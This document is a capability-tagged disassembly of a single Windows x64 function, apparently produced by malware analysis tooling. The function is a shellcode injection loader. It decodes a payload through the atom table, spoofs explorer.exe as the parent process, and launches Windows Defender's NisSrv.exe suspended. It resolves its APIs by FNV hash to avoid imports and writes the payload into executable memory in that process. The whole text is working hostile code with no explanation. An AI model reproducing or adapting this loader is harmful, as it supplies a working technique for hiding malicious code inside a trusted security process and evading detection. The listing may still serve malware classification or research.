Function at 0x1400011c0
Capabilities:
Access peb ldr_data
Encode data using xor
Enumerate processes
Get ntdll base address
Get process filename
Hash data using fnv
Resolve function by parsing pe exports
Set current directory
Spoof parent pid

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x39b0]
mov eax, 0x3ab0
call fcn.1400029d0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x39a0], rax
xor r13d, r13d
mov r8, rcx
mov edx, 0x1b58
lea rcx, [rbp + 0x2e0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], r13
mov qword [rbp + 8], r13
lea rax, [rbp + 0x2e0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r13b
jne 0x140001233
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp - 0x10]
call fcn.140001aa0
nop
mov r15d, r13d
mov r14d, r13d
lea r12, [rbp + 0x1e40]
lea rsi, [rbp + 0x2e0]
cmp byte [rsi], 0
je 0x140001381
movsxd rdx, r15d
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], r13
mov qword [rbp - 0x18], r13
mov rcx, qword [rbp]
cmp rcx, rdx
jb 0x1400019f7
lea eax, [r15 + 4]
mov r15d, eax
movsxd r8, eax
sub rcx, rdx
cmp rcx, r8
cmovb r8, rcx
lea rax, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova rax, qword [rbp - 0x10]
add rdx, rax
lea rcx, [rbp - 0x30]
call fcn.140001aa0
nop
mov rax, qword [rbp - 0x20]
cmp rax, 4
jb 0x14000153b
mov r8d, 4
cmovb r8, rax
lea rdx, [rbp - 0x30]
mov r13, qword [rbp - 0x18]
cmp r13, 0xf
seta bl
mov rdi, qword [rbp - 0x30]
cmova rdx, rdi
lea rcx, [rbp + 0x270]
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x270]
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov r8d, 0x32
lea rdx, [rbp + 0x2a8]
movzx ecx, ax
call qword [sym.imp.KERNEL32.dll_GetAtomNameA]
lea rcx, [rbp + 0x2a8]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
sub eax, 0x800
btc eax, 0xb
mov byte [r12], al
inc r12
test bl, bl
je 0x140001368
lea rdx, [r13 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140001360
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001571
mov rcx, rdi
call fcn.140001c0c
inc r14d
inc rsi
cmp r14d, 0x1b58
mov r13d, 0
jb 0x140001261
mov dword [rsp + 0x60], 0x70
lea rcx, str.C:Program_FilesWindows_Defender_
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
xor edx, edx
mov r8d, 0x234
lea rcx, [rbp + 0x34]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x30], 0x238
lea rdx, [rbp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001421
lea rdi, str.explorer.exe
nop dword [rax]
nop dword [rax + rax]
lea rdx, [rbp + 0x5c]
mov rcx, 0xffffffffffffffff
nop dword [rax + rax]
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [rdi + rcx*2 + 2]
jne 0x140001410
add rcx, 2
cmp rcx, 0xd
je 0x140001421
movzx eax, word [rdx + rcx*2]
cmp ax, word [rdi + rcx*2]
je 0x1400013f0
lea rdx, [rbp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400013e0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, dword [rbp + 0x38]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x58], rax
lea r9, [rsp + 0x50]
xor r8d, r8d
lea edx, [r8 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbp - 0x38], rax
lea r9, [rsp + 0x50]
xor r8d, r8d
lea edx, [r8 + 1]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], 8
lea r9, [rsp + 0x58]
xor edx, edx
mov r8d, 0x20000
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140001536
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140001536
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x5505d6c7
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140001531
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140001510
cmp r8d, 0x37ed9ce7
je 0x140001582
test r9d, r9d
jne 0x1400014f0
mov rax, qword [rax]
jmp 0x1400014c0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140001381
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001578
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001578
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001c0c
jmp 0x140001381
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea rax, [rbp + 0x10]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x8080004
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:Program_FilesWindows_DefenderNisSrv.exe
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140001666
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140001666
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0xc3fe36bf
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140001661
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140001640
cmp r8d, 0x35a4e366
je 0x14000166b
test r9d, r9d
jne 0x140001620
mov rax, qword [rax]
jmp 0x1400015f0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, qword [rbp + 0x10]
call r10
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r11, qword [rcx + 0x30]
movsxd rdx, dword [r11 + 0x3c]
mov edi, dword [rdx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140001736
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140001736
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r11]
add rdx, r11
mov r8d, 0xc7007a0f
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140001731
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140001710
cmp r8d, 0x635ea538
je 0x14000173b
test r9d, r9d
jne 0x1400016f0
mov rcx, qword [rcx]
jmp 0x1400016c0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov qword [rsp + 0x20], r13
mov r9d, 0x1b58
lea r8, [rbp + 0x1e40]
mov rdx, rsi
mov rcx, qword [rbp + 0x10]
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400017f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400017f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x55f90c67
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400017f1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400017d0
cmp r8d, 0x45ab09a9
je 0x1400017fb
test r9d, r9d
jne 0x1400017b0
mov rax, qword [rax]
jmp 0x140001780
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
add r9, r10
xor r8d, r8d
mov rdx, qword [rbp + 0x18]
mov rcx, rsi
call r9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400018b6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400018b6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xc0fbf36f
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400018b1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140001890
cmp r8d, 0x2043ea8c
je 0x1400018bb
test r9d, r9d
jne 0x140001870
mov rax, qword [rax]
jmp 0x140001840
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x18]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140001966
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140001966
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
mov r8d, 0x4ff485c7
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140001961
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140001940
cmp r8d, 0x9e247b9b
je 0x14000196b
test r9d, r9d
jne 0x140001920
mov rax, qword [rax]
jmp 0x1400018f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x18]
call rdx
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x1400019c7
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400019c2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400019c2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001c0c
mov rcx, qword [rbp + 0x39a0]
xor rcx, rsp
call fcn.140001bb0
lea r11, [rsp + 0x3ab0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001a80
nop
int3